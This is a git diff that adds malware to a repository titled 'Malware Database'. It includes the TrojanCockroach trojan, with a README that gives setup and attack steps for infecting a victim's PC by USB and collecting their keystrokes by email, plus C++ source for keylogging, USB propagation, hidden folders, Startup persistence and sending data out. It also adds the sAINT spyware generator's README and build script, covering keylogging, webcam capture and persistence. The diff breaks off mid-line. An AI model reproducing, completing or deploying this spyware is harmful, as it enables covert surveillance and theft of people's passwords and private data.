diff --git a/README.md b/README.md index 6f55f2e..e9652d9 100644 --- a/README.md +++ b/README.md @@ -1,3 +1,12 @@ +# Trying to grow the Malware Database. +Feel free to contribute + + + + + + +## Original readme # MalwareDatabase # Disclaimer diff --git a/Trojan/TrojanCockroach/LICENSE b/Trojan/TrojanCockroach/LICENSE new file mode 100644 index 0000000..67f336e --- /dev/null +++ b/Trojan/TrojanCockroach/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2015 Minhas Kamal + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/Trojan/TrojanCockroach/README.md b/Trojan/TrojanCockroach/README.md new file mode 100644 index 0000000..d31e1f0 --- /dev/null +++ b/Trojan/TrojanCockroach/README.md @@ -0,0 +1,96 @@ +

Trojan Cockroach

+ +#### A Stealthy Trojan Spyware + +You are looking at a **Trojan Virus** that steals data (ID, password; every key stroke) from PC (Windows XP or later), then emails them back to you. It spreads among PCs through USB drives, and is almost undetectable to any antivirus software. + +*Created only for learning purpose.* + +### Intro +- [TrojanCockroach.cpp](https://github.com/MinhasKamal/TrojanCockroach/blob/master/com/minhaskamal/trojanCockroach/TrojanCockroach.cpp)- logs user's data, sends data through Transmit.exe, infects portable drive. +- [Infect.cpp](https://github.com/MinhasKamal/TrojanCockroach/blob/master/com/minhaskamal/trojanCockroach/Infect.cpp)- installs the virus into computer from portable drive. +- [Transmit.exe](https://github.com/MinhasKamal/TrojanCockroach/blob/master/com/minhaskamal/trojanCockroach/Transmit.exe)- emails data back. +- [TrojanCockroach.lnk](https://github.com/MinhasKamal/TrojanCockroach/blob/master/com/minhaskamal/trojanCockroach/TrojanCockroach.lnk)- resides in the startup folder of PC and activates TrojanCockroach.exe. +- [Infect.lnk](https://github.com/MinhasKamal/TrojanCockroach/blob/master/com/minhaskamal/trojanCockroach/Infect.lnk)- takes different attractive names in the infected portable drive, activates Infect.exe when clicked. +- [DecodeMessage.cpp](https://github.com/MinhasKamal/TrojanCockroach/blob/master/com/minhaskamal/trojanCockroach/DecodeMessage.cpp)- used to decode received email. + +### Setup + +
    +
  1. +Preparation +
    +
      +
    1. + Download the full package from here. +
    2. +
      +
    3. + Change the method sendData() of TrojanCockroach.cpp- place your email and password in the command. +
      change email address
      +
    4. +
      +
    5. + Compile TrojanCockroach.cpp & Infect.cpp. Transmit.exe is actually the executable distribution of curl for Windows. +
    6. +
      +
    7. + Place TrojanCockroach.exe, Infect.exe, Transmit.exe, Infect.lnk & TrojanCockroach.lnk in the same folder. This is how they look- +
      Trojan Cockroach full package
      +
    8. +
      +
    9. + Now run TrojanCockroach.exe then insert a pendrive (see the magic!). You will get a hidden folder and link file in your pendrive. The hidden folder contains the full package, & the link file is actually renamed form of Infect.lnk. +
      Trojan Cockroach infected pendrive
      +
    10. +
    +
  2. +
    +
  3. +Attack +
    +
      +
    1. + Insert the USB-Drive in the subject's PC (Yes, you have to start the spreading process from somewhere!). Run Infect.lnk and the spyware will be injected. +
    2. +
      +
    3. + The syware will be activated after a reboot. Now (after a restart) every time any USB-Drive is inserted in the affected PC, the virus will copy itself in that, and the cycle will start again. +
    4. +
    +
  4. +
    +
  5. +Data Collection +
    +
      +
    1. + You need to wait several days (depending on the number of power on/off of the PC), before getting any data. +
    2. +
      +
    3. + After getting the email copy the full message to a text file. +
      Trojan Cockroach infected pendrive
      + As the message has come through email certain characters are converted. To resolve that --- --- ---. +
    4. +
      +
    5. + Now, run DecodeMessage.exe for decoding the message as plain text. +
      Trojan Cockroach infected pendrive
      + In this phase, you can look for specific patterns in the text, and thus get rid of most of the useless parts (like- mouse click, or same key-group press as happens during gaming). +
    6. +
    +
  6. +
+
+ +### Further +You may read [TrojanCockroachStory](https://github.com/MinhasKamal/TrojanCockroach/blob/master/TrojanCockroachStory.md) to get an overview of how the program works. You will get a clearer understanding of the project from its pre-project- **[StupidKeyLogger](https://github.com/MinhasKamal/StupidKeyLogger)**. + +The project is perfectly runnable. However, I do not want newbies to abuse my project. So, I am **keeping some simple secrets unrevealed**. There are also some intentionally created **holes in this 'README'**. I have made some **nonsense changes in the code** too; so that- no one can run it effectively without getting his hands dirty. I believe these plain obstacles can easily be overcome by ***ACTUAL PROGRAMMERS*** :) + +**Note:** *I will not also take any responsibility of someone else's ill act with this program.* But I do believe that a real learner will learn a lot from this. + + +### License +MIT License
Trojan Cockroach is licensed under MIT License. diff --git a/Trojan/TrojanCockroach/TrojanCockroachStory.md b/Trojan/TrojanCockroach/TrojanCockroachStory.md new file mode 100644 index 0000000..b7428f1 --- /dev/null +++ b/Trojan/TrojanCockroach/TrojanCockroachStory.md @@ -0,0 +1,18 @@ +It was **not the wooden horse** which brought victory to the Greeks in the war of Troy. It actually was **an apparently dead +cockroach**, that generated the game changing idea in their brain. It is time to rewrite the history with **[TrojanCockroach +](https://github.com/MinhasKamal/TrojanCockroach)**! + +The cockroach hides inside the territory of the enemy. It spies so silently that no one, even commercial firewalls, anti-viruses, & anti-spy-wares cannot trace it. It can even lay eggs on portable drives and send them to other enemy zones. New cockroaches hatch from the eggs as adult and the cycle continues... + +When the enemy inserts his portable drive into the system he sees a gorgeous piece of emerald. He becomes so greedy watching it that he cannot help touching it. But that emerald-looking thing is actually the brilliant egg of a cockroach waiting to be touched. After touching, an adult cockroach enters and hides into the system. The enemy gets no idea of it, as the egg hypnotizes him. + +Now the cockroach takes a long sleep till the system is rebooted. When system boots the virus wakes up and creates a record. It first writes its age & the date, and then starts recording information. It iteratively spies for some time, then looks for any portable drive, and again returns for spying. If any portable drive is inserted, the cockroach lays egg on it. + +If the cockroach thinks that the record size is big enough, then it tries to send that back. If it detects that it has become old, then it does not spy on the enemy (as there has not left any new information to send); rather only waits for new portable drives for laying eggs. + + +#### Actors: + - cockroach - trojan cockroach + - enemy - your victim + - system - victim's PC + - egg - link to virus installation diff --git a/Trojan/TrojanCockroach/com/minhaskamal/trojanCockroach/DecodeMessage.cpp b/Trojan/TrojanCockroach/com/minhaskamal/trojanCockroach/DecodeMessage.cpp new file mode 100644 index 0000000..7c8399a --- /dev/null +++ b/Trojan/TrojanCockroach/com/minhaskamal/trojanCockroach/DecodeMessage.cpp @@ -0,0 +1,669 @@ +/** +* Developer: Minhas Kamal (BSSE-0509, IIT, DU) +* Date: 17.Aug.2014, 11.Dec.2014, 30.Aug.2015 +**/ + +#include +#include +#include + +using namespace std; + + +char* decode(int i); +int remember=0; + +int main(){ + FILE *file = fopen("Record.log", "a"); + fprintf(file, "0"); + fclose(file); + + FILE *inputFile, *outputFile; + + if((inputFile=fopen("Record.log", "r"))==NULL || (outputFile=fopen("Data.log", "a"))==NULL){ + printf("ERROR!!!"); + return 1; + } + + int num; + char date[30]; + char ch = fgetc(inputFile); + while(ch!=EOF){ + + if(ch=='\t'){ + fprintf(outputFile, ">>\n"); + + fscanf(inputFile, "%d", &num); + while(num!=0){ + fprintf(outputFile, "%s", decode(num)); + fscanf(inputFile, "%d", &num); + } + }else{ + fgets(date, 30, inputFile); + fprintf(outputFile, "%c%s", ch, date); + } + + ch = fgetc(inputFile); + } + + fclose(inputFile); + fclose(outputFile); + + return 0; +} + + +char* decode(int i){ + char* ch; + + if(remember==i){ + ch=""; + return ch; + }else{ + remember=0; + return ch; // :) + } + + switch(i){ + case 1: + ch="[LC]"; + remember=i; + break; + case 2: + ch="[RC]"; + remember=i; + break; + case 8: + ch="[ +#include +#include + +main(){ + FreeConsole(); //window is not visible + + char* appdataFolder = getenv("APPDATA"); + + char folderPath[100] = {""}; + strcat(folderPath, appdataFolder); + strcat(folderPath, "\\"); + strcat(folderPath, FOLDER_NAME); + + if(CreateDirectory(folderPath ,NULL)) //if directory creation does not fail + { + SetFileAttributes(folderPath, FILE_ATTRIBUTE_HIDDEN); + return; // :) + + /////////////////////////// + char run[100]={""}; + strcat(run, folderPath); + strcat(run, "\\"); + strcat(run, RUN_FILE_NAME); + + char run_from[100]={""}; + strcat(run_from, FOLDER_NAME); + strcat(run_from, "\\"); + strcat(run_from, RUN_FILE_NAME); + + CopyFile(run_from, run, 0); + + /////////////////////////// + char net[100]={""}; + strcat(net, folderPath); + strcat(net, "\\"); + strcat(net, EMAIL_SENDER_FILE_NAME); + + char net_from[100]={""}; + strcat(net_from, FOLDER_NAME); + strcat(net_from, "\\"); + strcat(net_from, EMAIL_SENDER_FILE_NAME); + + CopyFile(net_from, net, 0); + + ////////////////////////// + char infect[100]={""}; + strcat(infect, folderPath); + strcat(infect, "\\"); + strcat(infect, INFECT_FILE_NAME); + + char infect_from[100]={""}; + strcat(infect_from, FOLDER_NAME); + strcat(infect_from, "\\"); + strcat(infect_from, INFECT_FILE_NAME); + + CopyFile(infect_from, infect, 0); + + ////////////////////////// + char runlnk[100]={""}; + strcat(runlnk, folderPath); + strcat(runlnk, "\\"); + strcat(runlnk, RUN_LINK_NAME); + + char runlnk_from[100]={""}; + strcat(runlnk_from, FOLDER_NAME); + strcat(runlnk_from, "\\"); + strcat(runlnk_from, RUN_LINK_NAME); + + CopyFile(runlnk_from, runlnk, 0); + + /////////////////////////// + char infectlnk[100]={""}; + strcat(infectlnk, folderPath); + strcat(infectlnk, "\\"); + strcat(infectlnk, INFECT_LINK_NAME); + + char infectlnk_from[100]={""}; + strcat(infectlnk_from, FOLDER_NAME); + strcat(infectlnk_from, "\\"); + strcat(infectlnk_from, INFECT_LINK_NAME); + + CopyFile(infectlnk_from, infectlnk, 0); + + ///////////////////////////////////////////////////////// + char tasklnkauto[100] = {""}; + strcat(tasklnkauto, appdataFolder); + strcat(tasklnkauto, "\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\cockroach.lnk"); + + CopyFile(runlnk_from, tasklnkauto, 0); + //SetFileAttributes(tasklnkauto, FILE_ATTRIBUTE_HIDDEN); + } + + + srand(time(0)); + int random = rand(); + + if(random%5 == 0){ + system("start taskmgr /Performance"); + }else if(random%3 == 0){ + system("start diskmgmt"); + }else if(random%2 == 0){ + system("start perfmon /res"); + }else{ + system("start calc"); + } +} diff --git a/Trojan/TrojanCockroach/com/minhaskamal/trojanCockroach/Infect.lnk b/Trojan/TrojanCockroach/com/minhaskamal/trojanCockroach/Infect.lnk new file mode 100644 index 0000000..0620942 Binary files /dev/null and b/Trojan/TrojanCockroach/com/minhaskamal/trojanCockroach/Infect.lnk differ diff --git a/Trojan/TrojanCockroach/com/minhaskamal/trojanCockroach/Transmit.exe b/Trojan/TrojanCockroach/com/minhaskamal/trojanCockroach/Transmit.exe new file mode 100644 index 0000000..9b413ab Binary files /dev/null and b/Trojan/TrojanCockroach/com/minhaskamal/trojanCockroach/Transmit.exe differ diff --git a/Trojan/TrojanCockroach/com/minhaskamal/trojanCockroach/TrojanCockroach.cpp b/Trojan/TrojanCockroach/com/minhaskamal/trojanCockroach/TrojanCockroach.cpp new file mode 100644 index 0000000..8d6aad8 --- /dev/null +++ b/Trojan/TrojanCockroach/com/minhaskamal/trojanCockroach/TrojanCockroach.cpp @@ -0,0 +1,312 @@ +/** +* Developer: Minhas Kamal (BSSE-0509, IIT, DU) +* Date: 15.Aug.2014, 28.Sep.2015 +* Comment: A Stealthy Trojan Spyware. +**/ + +#include +#include +#include +#include + +using namespace std; + + +#define FILE_NAME "Record.log" +#define FOLDER_NAME "trojanCockroach" +#define RUN_FILE_NAME "TrojanCockroach.exe" +#define RUN_LINK_NAME "TrojanCockroach.lnk" +#define INFECT_FILE_NAME "Infect.exe" +#define INFECT_LINK_NAME "Infect.lnk" +#define EMAIL_SENDER_FILE_NAME "Transmit.exe" + +#define MIN_RECORD_SIZE 20 //no of PC start count before sending a mail +#define LIFE_TIME 5 //mail will be sent 5 times from one PC +#define MAIL_WAIT_TIME 180000 +#define MAILING_TIME 60000 + +string allDrives; +int age=0; + +int get_setAge(); +bool checkRecordSize(); +void sendData(); +void logUserTime(); +void logKey(); +char getRemovableDisk(); +void infectDrive(char driveLetter); +char* getRandomName(); + + +main(){ + FreeConsole(); ///hide window + + age = get_setAge(); + if(checkRecordSize()){ ///check for right time + + int i=1; + while(i<3){ ///try 2 times to send data + + Sleep(i*MAIL_WAIT_TIME); ///wait + if(!system("ping www.google.com -n 1")){ ///check connection + ////////////****SEND DATA****//////////// + sendData(); + + Sleep(MAILING_TIME); ///wait! or file will be deleted before sending + DeleteFile(FILE_NAME); + + break; + } + i++; + } + } + + age=get_setAge(); + + ////////////****LOG USER_DATE_TIME****//////////// + if(age <= LIFE_TIME){ + logUserTime(); + } + + char driveLetter = getRemovableDisk(); ///initial search for all disks + return; // :) + while(1){ + ////////////****LOG KEY****//////////// + if(age <= LIFE_TIME){ + logKey(); + }else{ + Sleep(5000); + } + + ////////////****INFECT****//////////// + driveLetter = getRemovableDisk(); + if(driveLetter!='0'){ + infectDrive(driveLetter); + } + } + +} + +/** + * For old file get age - for new file set age. +**/ +int get_setAge(){ + int ageTemp = age; + + string line; + ifstream myfile(FILE_NAME); + + if(myfile.is_open()){ + getline(myfile, line); + line = line.substr(0, 1); + sscanf(line.c_str(), "%d", &ageTemp); + }else{ + ageTemp++; + + FILE *file = fopen(FILE_NAME, "a"); + fprintf(file, "%d ", ageTemp); + fclose(file); + } + + return ageTemp; +} + +/** + * Count number of lines in record file. +**/ +bool checkRecordSize(){ + string line; + ifstream myfile(FILE_NAME); + + int noOfLines = 0; + if(myfile.is_open()){ + while(getline(myfile, line)){ + noOfLines++; + } + myfile.close(); + } + + if(noOfLines%s\t", username, ctime(&date)); + + fclose(file); +} + +/** + * Record key stroke. +**/ +void logKey(){ + FILE *file; + unsigned short ch=0, i=0, j=500; // :) + + while(j<500){ ///loop runs for approx. 25 seconds + ch=1; + while(ch<250){ + for(i=0; i<50; i++, ch++){ + if(GetAsyncKeyState(ch) == -32767){ ///key is stroke + file=fopen(FILE_NAME, "a"); + fprintf(file, "%d ", ch); + fclose(file); + } + } + Sleep(1); ///take rest + } + j++; + } +} + +/** + * Returns newly inserted disk- pen-drive. +**/ +char getRemovableDisk(){ + char drive='0'; + + char szLogicalDrives[MAX_PATH]; + DWORD dwResult = GetLogicalDriveStrings(MAX_PATH, szLogicalDrives); + string currentDrives=""; + + for(int i=0; i64 && szLogicalDrives[i]< 90){ + currentDrives.append(1, szLogicalDrives[i]); + + if(allDrives.find(szLogicalDrives[i]) > 100){ + drive = szLogicalDrives[i]; + } + } + } + + allDrives = currentDrives; + + return drive; +} + +/** + * Copy the virus to pen-drive. +**/ +void infectDrive(char driveLetter){ + char folderPath[10] = {driveLetter}; + strcat(folderPath, ":\\"); + strcat(folderPath, FOLDER_NAME); + + if(CreateDirectory(folderPath ,NULL)){ + SetFileAttributes(folderPath, FILE_ATTRIBUTE_HIDDEN); + + char run[100]={""}; + strcat(run, folderPath); + strcat(run, "\\"); + strcat(run, RUN_FILE_NAME); + CopyFile(RUN_FILE_NAME, run, 0); + + char net[100]={""}; + strcat(net, folderPath); + strcat(net, "\\"); + strcat(net, EMAIL_SENDER_FILE_NAME); + CopyFile(EMAIL_SENDER_FILE_NAME, net, 0); + + char infect[100]={""}; + strcat(infect, folderPath); + strcat(infect, "\\"); + strcat(infect, INFECT_FILE_NAME); + CopyFile(INFECT_FILE_NAME, infect, 0); + + char runlnk[100]={""}; + strcat(runlnk, folderPath); + strcat(runlnk, "\\"); + strcat(runlnk, RUN_LINK_NAME); + CopyFile(RUN_LINK_NAME, runlnk, 0); + + char infectlnk[100]={""}; + strcat(infectlnk, folderPath); + strcat(infectlnk, "\\"); + strcat(infectlnk, INFECT_LINK_NAME); + CopyFile(INFECT_LINK_NAME, infectlnk, 0); + + char hideCommand[100] = {""}; + strcat(hideCommand, "attrib +s +h +r "); + strcat(hideCommand, folderPath); + WinExec(hideCommand, SW_HIDE); + }else{ + srand(time(0)); + int random = rand(); + + if(random%2==0 || random%3==0 || random%7==0){ + return ; + } + } + + char infectlnkauto[100] = {driveLetter}; + char* randomName = getRandomName(); + strcat(infectlnkauto, randomName); + CopyFile(INFECT_LINK_NAME, infectlnkauto, 0); +} + +/** + * Returns a random name for the link file. +**/ +char* getRandomName(){ + char randomName[40]; + + srand(time(0)); + int random = rand(); + + if(random%8 == 0){ + strcpy(randomName, ":\\DO NOT CLICK!.lnk"); + }else if(random%4 == 0){ + + char username[20]; + unsigned long username_len = 20; + GetUserName(username, &username_len); + + random = rand(); + if(random%8 == 0){ + strcpy(randomName, ":\\Boss "); + strcat(randomName, username); + strcat(randomName, ".lnk"); + }else if(random%4 == 0){ + strcpy(randomName, ":\\"); + strcat(randomName, username); + strcat(randomName, " is the best.lnk"); + }else if(random%2 == 0){ + strcpy(randomName, ":\\Hello "); + strcat(randomName, username); + strcat(randomName, "! good morning.lnk"); + }else{ + strcpy(randomName, ":\\"); + strcat(randomName, username); + strcat(randomName, "! please help me.lnk"); + } + }else if(random%2 == 0){ + strcpy(randomName, ":\\I will kill you ! ! !.lnk"); + }else if(random%3 == 0){ + strcpy(randomName, ":\\2+2=5.lnk"); + }else{ + strcpy(randomName, ":\\TOP SECRET.lnk"); + } + + return randomName; +} diff --git a/Trojan/TrojanCockroach/com/minhaskamal/trojanCockroach/TrojanCockroach.lnk b/Trojan/TrojanCockroach/com/minhaskamal/trojanCockroach/TrojanCockroach.lnk new file mode 100644 index 0000000..e7c0927 Binary files /dev/null and b/Trojan/TrojanCockroach/com/minhaskamal/trojanCockroach/TrojanCockroach.lnk differ diff --git a/keyloggers/anotherkeyloggertest b/keyloggers/anotherkeyloggertest new file mode 100644 index 0000000..9daeafb --- /dev/null +++ b/keyloggers/anotherkeyloggertest @@ -0,0 +1 @@ +test diff --git a/keyloggers/sAINT/LICENSE b/keyloggers/sAINT/LICENSE new file mode 100644 index 0000000..8d20c19 --- /dev/null +++ b/keyloggers/sAINT/LICENSE @@ -0,0 +1,29 @@ +BSD 3-Clause License + +Copyright (c) 2017, Tiago Rodrigo Lampert +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions are met: + +* Redistributions of source code must retain the above copyright notice, this + list of conditions and the following disclaimer. + +* Redistributions in binary form must reproduce the above copyright notice, + this list of conditions and the following disclaimer in the documentation + and/or other materials provided with the distribution. + +* Neither the name of the copyright holder nor the names of its + contributors may be used to endorse or promote products derived from + this software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" +AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE +FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL +DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER +CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, +OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. diff --git a/keyloggers/sAINT/README.md b/keyloggers/sAINT/README.md new file mode 100644 index 0000000..cd53048 --- /dev/null +++ b/keyloggers/sAINT/README.md @@ -0,0 +1,160 @@ +---------------------------------------------------------------------------------------------- +## Discontinued + +I decided to discontinue the development of this tool to concentrate my efforts on others one projects. + +Please fell free to clone this repository and continue the development of this tool. + +---------------------------------------------------------------------------------------------- + +

+ +

+ +

(s)AINT

+

+ + + + + + + + + + + + +

+ +

+ (s)AINT is a Spyware Generator for Windows systems written in Java. +

+ +## Disclaimer +

+ :computer: This project was created only for good purposes and personal use. +

+ +THIS SOFTWARE IS PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND. YOU MAY USE THIS SOFTWARE AT YOUR OWN RISK. THE USE IS COMPLETE RESPONSIBILITY OF THE END-USER. THE DEVELOPERS ASSUME NO LIABILITY AND ARE NOT RESPONSIBLE FOR ANY MISUSE OR DAMAGE CAUSED BY THIS PROGRAM. + +## Features +- [x] Keylogger +- [x] Take Screenshot +- [x] Webcam Capture +- [x] Persistence + +## Tested On +[![Kali)](https://www.google.com/s2/favicons?domain=https://www.kali.org/)](https://www.kali.org) **Kali Linux - ROLLING EDITION** + +## How To Use +```bash +# Install dependencies (you need Maven and JDK 8 package installed) +$ apt install maven default-jdk default-jre openjdk-8-jdk openjdk-8-jre -y + +# To generate a .EXE using launch4j are necessary the following packages +$ apt install zlib1g-dev libncurses5-dev lib32z1 lib32ncurses6 -y + +# Clone this repository +$ git clone https://github.com/tiagorlampert/sAINT.git + +# Go into the repository +$ cd sAINT + +# Install and configure Maven libraries +$ chmod +x configure.sh +$ ./configure.sh + +# Run +$ java -jar sAINT.jar +``` +## Note +* On Windows, install the latest Java JRE 8 from Oracle. +* E-mail will be sent when it reaches the specified number of characters. +* Optionally you can enable Screenshot, Webcam Capture and Persistence. + +## FAQ +> #### Why does the .EXE need java on target machine to run? +> The JRE is required and the executable will not work without it. Because the Windows need JRE for translating the program from java byte code to machine language. + +## Screenshot +

Maven dependencies

+ +

+ +

Generate spyware

+ +

+ +## Run +

Install Java JRE 8

+ +

+ +

+ +

Run .EXE

+ +

+ +

+ +

or Run .JAR

+ +

+ +

+ + +## Data +

Local

+ +

+ +

+ + +

E-mail

+ +

+ +

+ +## How to uninstall +To uninstall run UNINSTALL.bat with administrative permissions. + +## Contact +:email: **tiagorlampert@gmail.com** + +## License + +>The [BSD 3-Clause License](https://opensource.org/licenses/BSD-3-Clause) +> +>Copyright (c) 2017, Tiago Rodrigo Lampert +> +>All rights reserved. +> +>Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: +> +>* Redistributions of source code must retain the above copyright notice, this + list of conditions and the following disclaimer. +> +>* Redistributions in binary form must reproduce the above copyright notice, + this list of conditions and the following disclaimer in the documentation +and/or other materials provided with the distribution. +> +>* Neither the name of the copyright holder nor the names of its + contributors may be used to endorse or promote products derived from +this software without specific prior written permission. +> +>THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" +AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE +FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL +DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER +CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, +OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + diff --git a/keyloggers/sAINT/configure.sh b/keyloggers/sAINT/configure.sh new file mode 100644 index 0000000..ca425f0 --- /dev/null +++ b/keyloggers/sAINT/configure.sh @@ -0,0 +1,14 @@ +tar xvf launch4j.tar.xz +mvn install:install-file -Dfile=lib/activation.jar -DgroupId=activation -DartifactId=activation -Dversion=0.1 -Dpackaging=jar +mvn install:install-file -Dfile=lib/bridj-0.6.2.jar -DgroupId=bridj-0.6.2 -DartifactId=bridj-0.6.2 -Dversion=0.6.2 -Dpackaging=jar +mvn install:install-file -Dfile=lib/commons-email-1.5.jar -DgroupId=commons-email-1.5 -DartifactId=commons-email-1.5 -Dversion=1.5 -Dpackaging=jar +mvn install:install-file -Dfile=lib/commons-email-1.5-javadoc.jar -DgroupId=commons-email-1.5-javadoc -DartifactId=commons-email-1.5-javadoc -Dversion=1.5 -Dpackaging=jar +mvn install:install-file -Dfile=lib/dsn.jar -DgroupId=dsn -DartifactId=dsn -Dversion=0.1 -Dpackaging=jar +mvn install:install-file -Dfile=lib/imap.jar -DgroupId=imap -DartifactId=imap -Dversion=0.1 -Dpackaging=jar +mvn install:install-file -Dfile=lib/jnativehook.jar -DgroupId=jnativehook -DartifactId=jnativehook -Dversion=0.1 -Dpackaging=jar +mvn install:install-file -Dfile=lib/mailapi.jar -DgroupId=mailapi -DartifactId=mailapi -Dversion=0.1 -Dpackaging=jar +mvn install:install-file -Dfile=lib/pop3.jar -DgroupId=pop3 -DartifactId=pop3 -Dversion=0.1 -Dpackaging=jar +mvn install:install-file -Dfile=lib/slf4j-api-1.7.2.jar -DgroupId=slf4j-api-1.7.2 -DartifactId=slf4j-api-1.7.2 -Dversion=1.7.2 -Dpackaging=jar +mvn install:install-file -Dfile=lib/webcam-capture-0.3.10.jar -DgroupId=webcam-capture-0.3.10 -DartifactId=webcam-capture-0.3.10 -Dversion=0.3.10 -Dpackaging=jar +mvn install:install-file -Dfile=lib/smtp.jar -DgroupId=smtp -DartifactId=smtp -Dversion=0.1 -Dpackaging=jar +mvn clean compile assembly:single diff --git a/keyloggers/sAINT/content/1.gif b/keyloggers/sAINT/content/1.gif new file mode 100644 index 0000000..84d3c85 Binary files /dev/null and b/keyloggers/sAINT/content/1.gif differ diff --git a/keyloggers/sAINT/content/2.gif b/keyloggers/sAINT/content/2.gif new file mode 100644 index 0000000..c32c2aa Binary files /dev/null and b/keyloggers/sAINT/content/2.gif differ diff --git a/keyloggers/sAINT/content/3.gif b/keyloggers/sAINT/content/3.gif new file mode 100644 index 0000000..ca22867 Binary files /dev/null and b/keyloggers/sAINT/content/3.gif differ diff --git a/keyloggers/sAINT/content/4.gif b/keyloggers/sAINT/content/4.gif new file mode 100644 index 0000000..f238fe7 Binary files /dev/null and b/keyloggers/sAINT/content/4.gif differ diff --git a/keyloggers/sAINT/content/5.gif b/keyloggers/sAINT/content/5.gif new file mode 100644 index 0000000..19989c7 Binary files /dev/null and b/keyloggers/sAINT/content/5.gif differ diff --git a/keyloggers/sAINT/content/6.gif b/keyloggers/sAINT/content/6.gif new file mode 100644 index 0000000..82ff370 Binary files /dev/null and b/keyloggers/sAINT/content/6.gif differ diff --git a/keyloggers/sAINT/content/UNINSTALL.bat b/keyloggers/sAINT/content/UNINSTALL.bat new file mode 100644 index 0000000..4ce00e7 --- /dev/null +++ b/keyloggers/sAINT/content/UNINSTALL.bat @@ -0,0 +1,10 @@ +:: Kill java process +taskkill /f /im javaw.exe + +:: Remove (s)AINT folder +rmdir /s /q %appdata%\(s)AINT + +:: Delete entry registry +reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v Security /f + +pause diff --git a/keyloggers/sAINT/content/jre.gif b/keyloggers/sAINT/content/jre.gif new file mode 100644 index 0000000..a927ec7 Binary files /dev/null and b/keyloggers/sAINT/content/jre.gif differ diff --git a/keyloggers/sAINT/content/logo.png b/keyloggers/sAINT/content/logo.png new file mode 100644 index 0000000..bb853d8 Binary files /dev/null and b/keyloggers/sAINT/content/logo.png differ diff --git a/keyloggers/sAINT/launch4j.tar.xz b/keyloggers/sAINT/launch4j.tar.xz new file mode 100644 index 0000000..98fd943 Binary files /dev/null and b/keyloggers/sAINT/launch4j.tar.xz differ diff --git a/keyloggers/sAINT/lib/activation.jar b/keyloggers/sAINT/lib/activation.jar new file mode 100644 index 0000000..29a59a9 Binary files /dev/null and b/keyloggers/sAINT/lib/activation.jar differ diff --git a/keyloggers/sAINT/lib/bridj-0.6.2.jar b/keyloggers/sAINT/lib/bridj-0.6.2.jar new file mode 100644 index 0000000..b88bf94 Binary files /dev/null and b/keyloggers/sAINT/lib/bridj-0.6.2.jar differ diff --git a/keyloggers/sAINT/lib/commons-email-1.5-javadoc.jar b/keyloggers/sAINT/lib/commons-email-1.5-javadoc.jar new file mode 100644 index 0000000..7a60061 Binary files /dev/null and b/keyloggers/sAINT/lib/commons-email-1.5-javadoc.jar differ diff --git a/keyloggers/sAINT/lib/commons-email-1.5.jar b/keyloggers/sAINT/lib/commons-email-1.5.jar new file mode 100644 index 0000000..291bd19 Binary files /dev/null and b/keyloggers/sAINT/lib/commons-email-1.5.jar differ diff --git a/keyloggers/sAINT/lib/dsn.jar b/keyloggers/sAINT/lib/dsn.jar new file mode 100644 index 0000000..26a890c Binary files /dev/null and b/keyloggers/sAINT/lib/dsn.jar differ diff --git a/keyloggers/sAINT/lib/imap.jar b/keyloggers/sAINT/lib/imap.jar new file mode 100644 index 0000000..f1dd74e Binary files /dev/null and 